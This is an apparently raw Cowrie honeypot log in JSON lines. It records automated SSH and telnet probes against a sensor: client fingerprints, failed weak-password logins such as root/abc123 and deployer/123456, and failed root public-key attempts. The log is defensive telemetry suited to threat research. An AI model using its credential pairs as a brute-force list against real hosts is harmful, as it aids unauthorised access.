{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:40.293852Z","src_ip":"192.109.200.237","session":"77578e51da16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:40.540982Z","src_ip":"192.109.200.237","session":"77578e51da16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48212,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf84db5e4f8","protocol":"telnet","message":"New connection: 152.42.224.71:48212 (10.17.0.5:23) [session: 6bf84db5e4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:40.858512Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:41.625511Z","src_ip":"192.109.200.237","session":"77578e51da16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.553160190582275,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:42.158118Z","src_ip":"152.42.224.71","session":"a93ccfbe1677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55772,"dst_ip":"159.203.135.109","dst_port":22,"session":"974daa9e8f96","protocol":"ssh","message":"New connection: 192.109.200.237:55772 (159.203.135.109:22) [session: 974daa9e8f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:43.429815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:43.434756Z","src_ip":"192.109.200.237","session":"974daa9e8f96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:43.517133Z","src_ip":"192.109.200.237","session":"974daa9e8f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:43.764086Z","src_ip":"192.109.200.237","session":"974daa9e8f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:44.852685Z","src_ip":"192.109.200.237","session":"974daa9e8f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.610273599624634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:45.540845Z","src_ip":"152.42.224.71","session":"ddf0c4daba25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":56484,"dst_ip":"159.203.135.109","dst_port":23,"session":"95425842a5da","protocol":"telnet","message":"New connection: 46.60.48.98:56484 (159.203.135.109:23) [session: 95425842a5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:46.175605Z"}
{"eventid":"cowrie.session.closed","duration":0.1719651222229004,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:46.347483Z","src_ip":"46.60.48.98","session":"95425842a5da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55786,"dst_ip":"159.203.135.109","dst_port":22,"session":"091223f6e6f0","protocol":"ssh","message":"New connection: 192.109.200.237:55786 (159.203.135.109:22) [session: 091223f6e6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:46.633187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:46.637889Z","src_ip":"192.109.200.237","session":"091223f6e6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:46.720060Z","src_ip":"192.109.200.237","session":"091223f6e6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:46.968094Z","src_ip":"192.109.200.237","session":"091223f6e6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:48.053255Z","src_ip":"192.109.200.237","session":"091223f6e6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34980,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a9dc210b660","protocol":"telnet","message":"New connection: 152.42.224.71:34980 (10.17.0.5:23) [session: 7a9dc210b660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:48.455298Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55816,"dst_ip":"159.203.135.109","dst_port":22,"session":"04c04e164448","protocol":"ssh","message":"New connection: 192.109.200.237:55816 (159.203.135.109:22) [session: 04c04e164448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:49.830312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:49.840066Z","src_ip":"192.109.200.237","session":"04c04e164448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:49.922584Z","src_ip":"192.109.200.237","session":"04c04e164448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:50.172510Z","src_ip":"192.109.200.237","session":"04c04e164448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:51.257701Z","src_ip":"192.109.200.237","session":"04c04e164448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":58522,"dst_ip":"159.203.135.109","dst_port":23,"session":"e162fb1d494f","protocol":"telnet","message":"New connection: 46.60.48.98:58522 (159.203.135.109:23) [session: e162fb1d494f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:51.877979Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.249","src_port":40776,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f0e47885dee","protocol":"ssh","message":"New connection: 209.90.232.249:40776 (10.17.0.5:22) [session: 2f0e47885dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.279611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.284447Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.356502Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:de:2d:d0:87:16:3a:ff:4a:54:7f:bb:e4:b9:45:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGoY5wQ1h59NR6mdcILuaKk6kvm8ppC5PAc0wnAXbSVepxPo2PiMTkV0gx1Z1DnZgol7kp2mbfbhXcdh3ofMXSn3G18qaon7/280OnSqQtrMbqLPlzNZhL8S1v/JMuZgjszkEtt3yQKCFwIsAaqL5DjJWWTKFL0wwJRbELimrM2Fa0CmURc51EAruKE/eR0WAFXXDHkuIOxG/Z62CLjjkKhz3OCP8doF/IVsYJ9rnwBQVTXtTYbdQ6cfBAMEAiDjnPkvpbAnfrCKU6OJ+wvB6vF46BqWWH7GMPk8XL6h1NXyO9S+NnxUkFqHzTOR/muYVyAnF7DKs1HWYUqeqwhyG/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:de:2d:d0:87:16:3a:ff:4a:54:7f:bb:e4:b9:45:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.687070Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:de:2d:d0:87:16:3a:ff:4a:54:7f:bb:e4:b9:45:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGoY5wQ1h59NR6mdcILuaKk6kvm8ppC5PAc0wnAXbSVepxPo2PiMTkV0gx1Z1DnZgol7kp2mbfbhXcdh3ofMXSn3G18qaon7/280OnSqQtrMbqLPlzNZhL8S1v/JMuZgjszkEtt3yQKCFwIsAaqL5DjJWWTKFL0wwJRbELimrM2Fa0CmURc51EAruKE/eR0WAFXXDHkuIOxG/Z62CLjjkKhz3OCP8doF/IVsYJ9rnwBQVTXtTYbdQ6cfBAMEAiDjnPkvpbAnfrCKU6OJ+wvB6vF46BqWWH7GMPk8XL6h1NXyO9S+NnxUkFqHzTOR/muYVyAnF7DKs1HWYUqeqwhyG/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.690985Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:16:03:b2:44:06:c3:99:42:6b:d3:1d:67:32:72:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAMxEETTOgxDds2A8vj59Ffnj/MkIV9a96rQlbYwy/37GKfydllM+I0qcFJuqJ/MUgo4IqALO28fNjSy3HnXz2peDMyyj6OgdbdBsVwvy0GCRE/zb4tYT6BZB2FLZ2jiDmkCMe7uhL84xXOTeflD0J5g2GeHrUUckPJOmw/YSy/7wrFTG8BjDDm2cLMleboGR28ozxRowqJUY+lyVHKk69Q/K1tn0YnDjGxD8yUoK9TJnICiOz5XDHY8ZzpIwTeSVyYyeMYsF+UaJh7NT4c8YjtEsGePojsY6jullfIg9TLMQvD/g+WEbsDVfJx9FywVQ8hEKpBPokPrySRGbZKnkq0fQ41njOzfSNodpyAt9x+F7IL5i2Ttt4fFHHFEyMAnyrygQ5VSASHH+lmMowEMJKTDi3nhhObQ4rSXdsZe3SGe9nZVAU0E9zjOFbcr2j3fgjwFIeXe8WadMkLVrd2kDpcQJK8NrT3UmqYkul5oNBpMokjSlJ7fT+fLuBPh5i239K9EFbGVDLZYoq8xNBQA5xPBykujKJ1Ps8oSMWr8eVKpom9SyPPvnYFgHGoAmQtbH4Tp3lcUd0xfXunxVdT7/WXzsKEGPKRY1gr0RAwBckYVe2cowisZ10/UxeQ6rs/6+V3C80XgFD8KycXqPAXO0e6aWxxxSknd+XYNit/pa9cw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:16:03:b2:44:06:c3:99:42:6b:d3:1d:67:32:72:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.765662Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:16:03:b2:44:06:c3:99:42:6b:d3:1d:67:32:72:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAMxEETTOgxDds2A8vj59Ffnj/MkIV9a96rQlbYwy/37GKfydllM+I0qcFJuqJ/MUgo4IqALO28fNjSy3HnXz2peDMyyj6OgdbdBsVwvy0GCRE/zb4tYT6BZB2FLZ2jiDmkCMe7uhL84xXOTeflD0J5g2GeHrUUckPJOmw/YSy/7wrFTG8BjDDm2cLMleboGR28ozxRowqJUY+lyVHKk69Q/K1tn0YnDjGxD8yUoK9TJnICiOz5XDHY8ZzpIwTeSVyYyeMYsF+UaJh7NT4c8YjtEsGePojsY6jullfIg9TLMQvD/g+WEbsDVfJx9FywVQ8hEKpBPokPrySRGbZKnkq0fQ41njOzfSNodpyAt9x+F7IL5i2Ttt4fFHHFEyMAnyrygQ5VSASHH+lmMowEMJKTDi3nhhObQ4rSXdsZe3SGe9nZVAU0E9zjOFbcr2j3fgjwFIeXe8WadMkLVrd2kDpcQJK8NrT3UmqYkul5oNBpMokjSlJ7fT+fLuBPh5i239K9EFbGVDLZYoq8xNBQA5xPBykujKJ1Ps8oSMWr8eVKpom9SyPPvnYFgHGoAmQtbH4Tp3lcUd0xfXunxVdT7/WXzsKEGPKRY1gr0RAwBckYVe2cowisZ10/UxeQ6rs/6+V3C80XgFD8KycXqPAXO0e6aWxxxSknd+XYNit/pa9cw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.769796Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:85:26:a4:c3:45:8c:d3:35:7c:a2:18:ba:dc:b6:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBz+wPgMthU5YhDkGkKVRhWSDgcJrmpHPnsHi4JK1B5n","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b0:85:26:a4:c3:45:8c:d3:35:7c:a2:18:ba:dc:b6:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.841545Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:85:26:a4:c3:45:8c:d3:35:7c:a2:18:ba:dc:b6:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBz+wPgMthU5YhDkGkKVRhWSDgcJrmpHPnsHi4JK1B5n","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.845994Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:05:8c:83:b3:93:dc:96:e5:31:63:78:f7:b2:a5:14","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMHoJzM/sxm1ij9QEt9nYymeeS2vv+hQ7yB49cLgqFrq","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 02:05:8c:83:b3:93:dc:96:e5:31:63:78:f7:b2:a5:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.916842Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:05:8c:83:b3:93:dc:96:e5:31:63:78:f7:b2:a5:14","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMHoJzM/sxm1ij9QEt9nYymeeS2vv+hQ7yB49cLgqFrq","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.920289Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:65:a1:a7:db:fa:17:89:42:66:f7:85:0e:4d:7a:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLo4EoXxpJPsafNGkX32qWZI+N2VdMG4wNY8xPlnIECORNetTwmZEBmqXGcw4M/K9iOVFtdTbCcXhFWRBVKzHB0pd99J60iS8w/v6krCy0rdBoSv2aPDuC+eV/vIQ389nGPu3DV6xDyzMCCf64il7ieYk8K0FA/PHSNNORAPbszi57dLAROj575iFeuMHVJTJ6pf5mGMm4X8CPFMLhVpXI6r75fROJ0J1cJNDCLS6BzNmENl9QFYBZWrOpnGfJZhkAfHssfY8rt60ZPl/Vfqs3AoE8tFZFZj4MACkQ7BL7CwNOt6RpP2PyKAx5MTI1QBtChQry+b5VowxJN7eKcU6V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:65:a1:a7:db:fa:17:89:42:66:f7:85:0e:4d:7a:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.991735Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
